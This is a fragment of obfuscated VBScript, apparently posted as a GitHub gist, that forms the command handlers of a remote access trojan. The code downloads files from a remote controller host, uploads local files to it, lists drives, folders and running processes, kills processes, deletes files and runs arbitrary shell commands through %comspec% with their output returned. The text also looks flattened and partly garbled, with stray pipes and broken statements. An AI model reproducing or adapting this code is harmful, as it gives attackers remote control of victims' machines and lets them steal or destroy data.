set objhttpdownload = createobject("msxml2.xmlhttp") objhttpdownload.open "post", "http://" & host(dns) & "/" & "is-sending" & spliter & a4, false objhttpdownload.send "" | |
set objfsodownload = createobject("scripting.filesystemobject") if objfsodownload.fileexists(strsaveto) then objfsodownload.deletefile(strsaveto) end | |
if if objhttpdownload.status = 200 then dim g0 set g0 = createobject("adodb.stream") with g0 | |
.type = 1 | |
.open | |
.write objhttpdownload.responsebody | |
.savetofile strsaveto | |
.close end with set g0 = nothing end | |
if 'if objfsodownload.fileexists(strsaveto) then | |
'r7.run objfsodownload.getfile (strsaveto).shortpath | |
'end if | |
end sub | |
function p9(a4) dim t2, x5 set t2 = createobject("adodb.stream") with t2 | |
.type = 1 | |
.open | |
.loadfromfile a4 x5 = .read | |
.close end with set g0 = nothing o4 "is-recving" & spliter & a4, x5 end | |
function | |
function x8() for each drive in w1.drives | |
if drive.isready = true then x8 = x8 & drive.path & "|" & drive.drivetype & spliter end | |
if next end Function | |
function g2(l0) g2 = l0 & spliter | |
for each folder in w1.getfolder(l0).subfolders g2 = g2 & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter next | |
for each file in w1.getfolder(l0).files g2 = g2 & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter next end | |
function | |
function w2() on error resume next set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process", , 48) dim v3 | |
for each v3 in colitems w2 = w2 & v3.name & "|" | |
w2 = w2 & v3.processid & "|" | |
w2 = w2 & v3.executablepath & spliter next end | |
function sub p2(b1) on error resume next r7.run "taskkill /F /T /PID " & b1, 7, true end sub sub s3(i1) on error resume next w1.deletefile i1 w1.deletefolder i1 end sub | |
function g7(i8) dim x3, c2, t_ set c2 = r7.exec("%comspec% /c " & i8) if not c2.stdout.atendofstream then t_ = c2.stdout.readall elseif not c2.stderr.atendofstream then t_ = c2.stderr.readall | |
else | |
t_ = "" | |
end | |
if g7 = t_ end Function | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment